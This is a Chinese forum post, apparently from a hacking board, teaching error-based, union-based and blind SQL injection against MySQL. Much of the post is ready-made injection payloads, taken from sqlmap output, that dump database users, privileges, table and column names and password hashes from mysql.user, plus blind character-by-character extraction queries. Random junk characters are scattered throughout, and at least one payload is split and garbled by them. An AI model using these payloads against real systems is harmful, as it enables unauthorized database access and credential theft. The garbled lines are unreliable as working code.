放假第一天,本应该好好放松一下,可是还是想着把文章写完先。。。 E9 }) {2 I, P x+ t$ l
1 r1 ^& N( T: ]$ y这次的主题是高级注入,坛子里也讲到了一些,不过本文旨在给大家一个更深刻的概念和全面的理解,下面看看我自己列的一个表 l5 ^/ L, y( W" s, S; S' r7 C
& ]8 G! @( Y4 Q
分类标准 分类 备注
$ V- b- T: V- G! s- x7 J按字段类型 整型注入,字符型注入 6 H0 X( D% Q+ ?1 K, ]
按出现的位置 get注入,post注入,cookie注入,http header注入 ' g, F$ C9 P) R" x' N; Z
然而高级注入是这样的
4 b3 a7 q& K& }+ i) K 7 ^# T; B+ l6 s9 s" {/ ^) f7 W
高级注入分类 条件& g0 E4 |: Z) C0 o( [3 d& L
error-based sql 数据库的错误回显可以返回,存在数据库,表结构6 p5 [6 m1 D* O" Z+ I4 `
union-based sql 能够使用union,存在数据库,表结构
6 K( X4 _, ^- i! Tblind sql 存在注入5 Y9 j. ^! M/ w
我们暂且不考虑waf等的影响,只从原理上学习。通过上面我们不难发现,三种高级注入选择的顺序应该是eub(第一个字母,后面为了方便我都这样表示了 ),实际上,e是不需要知道字段数的,u需要知道字段数,e之所以在前我觉得主要是因为这个,因为在其他方面它们没有本质的区别,它们都需要知道数据库以及表的结构,这样才能构造出相应的语句,当然,能e一般能u(没过滤union等),反过来却很不一定,因为一般会有自定义的错误提醒。如果没有结构,那么就回到了最悲剧,最麻烦的b了,猜。。。当然可能没有结果,但是如果只是不能使用u,有结构,b还是能出结果的,只是苦逼点而已。。。8 i+ o/ p" E- {8 w/ |( r
& ~ N, i' l6 _0 k, J; r4 R好了,说了这么多,该上神器sqlmap了,最近坛子里貌似很火; y2 M8 [% e, [4 X3 D! ?. A5 l
, w0 r! w0 |' T0 v6 A
附件分别以mysql和mssql为例子,提醒:sqlmap中使用-v 3可以查看每个请求的payload。4 ?) a; M) j: }# a
7 S/ w4 S1 |/ O" R
这里用mysql说明2 t* a; X. t4 _) R2 A) u) q- f
* h v6 @5 l5 \( l& _- fe注入坛子里很多了,请看戳我或者再戳我! _& s' ] |6 z7 S
6 c$ Q0 Q; o) y: f/ `' mu注入其实也很多了,这里就大概帖上一些重要语句吧,附件上结合例子都有的5 }% A7 c; f) |7 h. o* o
+ }9 R6 p2 z4 s获取当前数据库用户名2 O# S, V" O2 `
! Z3 `0 B9 K8 M
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(C1 ^ p g8 A& A5 b1 v& v x5 L
AST(CURRENT_USER() AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NUL
# P: D" @( P2 o/ G1 b6 f4 b$ vL, NULL#
* a! h# u& r1 K) y注意concat那里不是必须的,只是sqlmap为了自动攫取出数据加上的特征,下面语句类似,涉及基础性的知识,基友们自己去补吧。6 ]5 o& |1 W$ u! R2 d. }$ p2 M/ h: V
4 e4 R3 U W1 d0 l* Z/ Y& O. k获取数据库名
4 N5 M$ ~$ W2 L: D; {
! {5 S" d& k! w5 QUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(DATABASE() AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL#
- B6 v( H- U2 t$ _/ V获取所有用户名
0 Z7 @; w$ G" C$ s ) |4 A$ ]2 f6 ~( {" P+ q; }
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(grantee AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.USER_PRIVILEGES#
3 m' b; S) Y2 a) K4 v查看当前用户权限) v. F2 b9 k; l$ O J
- c8 O( P8 r+ i5 V" k7 z
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(grantee AS CHAR),0x20),0x697461626a6e,IFNULL(CAST(privilege_type AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.USER_PRIVILEGES#
1 y3 `2 c9 z) H1 v. Z) M& I" e尝试获取密码,当然需要有能读mysql数据库的权限9 P/ M5 t7 d P% ~" N
, k0 { m! V6 {! l$ @$ X/ v% m; q1 y
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(user AS CHAR),0x20),0x697461626a6e,IFNULL(CAST(password AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM mysql.user#4 e8 f' O: [, ?5 }$ B I- O, T
获取表名,limit什么的自己搞啦
+ X2 v& R \& c' y! e& F' k
& h) } ^. c h/ u* |/ N- q( {UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(table_name AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = 0x7061727474696d655f6a6f62#* e5 Z3 u( Z6 H4 X( O* n
获取字段名及其类型
# b7 Q; r: t/ k! c! IUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(column_name AS CHAR),0×20),0x697461626a6e,IFNULL(CAST(column_type AS CHAR),0×20),0x3a6864623a),NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x61646d696e5f7461626c65 AND table_schema=0x7061727474696d655f6a6f62 AND (column_name=0x61646d696e6e616d65 OR column_name=0x70617373776f7264)#
# z# o& i! X% l , @' }7 h: G6 o5 T; T. U" b! |1 u
b注入,呵呵,除了当前用户,数据库,版本可以出来,而如果不能u,但存在数据的结构表,还是能苦逼出来,否则猜也不一定能猜到表和字段,内容自然也出不来,苦逼access啊。。。$ s- f; b; L# a) O$ u) G
% j0 \8 \5 W# N8 \
如:
9 W; q/ i& S2 V9 Y/ @# o O1 B获取当前用户名& `, D# c. H: @* }4 D9 N l
; S# s$ g3 _- ~2 \" w3 L( C
AND ORD(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),1,1)) > 116
1 U$ e0 O1 f0 ? ~! v获取当前数据库
, G! T: s# a9 Z9 ]: P) { & @7 e+ B* l0 E( c
AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),6,1)) > 106% W1 b2 S$ E2 ^2 m0 L8 Y
获取表名
; w$ a5 R8 g6 i; U& [2 x 6 y r- f- j% l" i/ I) Q
AND ORD(MID((SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x7061727474696d655f6a6f62),1,1)) > 51
) X* g# ?) s' J- C9 X获取字段名及其类型和爆内容就不说了,改改上面的就可以了。' H+ `/ J# F$ R x! s+ Y
回到最苦逼的情况,无结构的,mysql版本<5.0,现在不多见了吧,还是看看语句。4 t* z" [9 E7 R" u+ h+ p
爆表* [/ [$ X% l8 C
& m& u# ~/ Y5 f/ S6 eAND EXISTS(select * from table): s) n% O+ G; h! h |
爆字段
' X d/ O2 {6 C $ Y3 k) U6 |% a
AND EXISTS(select pwd from table)4 Y4 p/ H! d7 D/ S) q' k& D
盲注的变化就比较多了,由于篇幅,只是举个例子而已。$ S' c* _2 F8 f( f2 Y: p
) F, H% `2 V ~; ?" b7 e
本来想把mssql和access都写上的,不过编辑得太累了,有时间再写吧,其实原理都差不多,今天就洗洗睡了吧。) L2 N2 ^! L8 r) O
|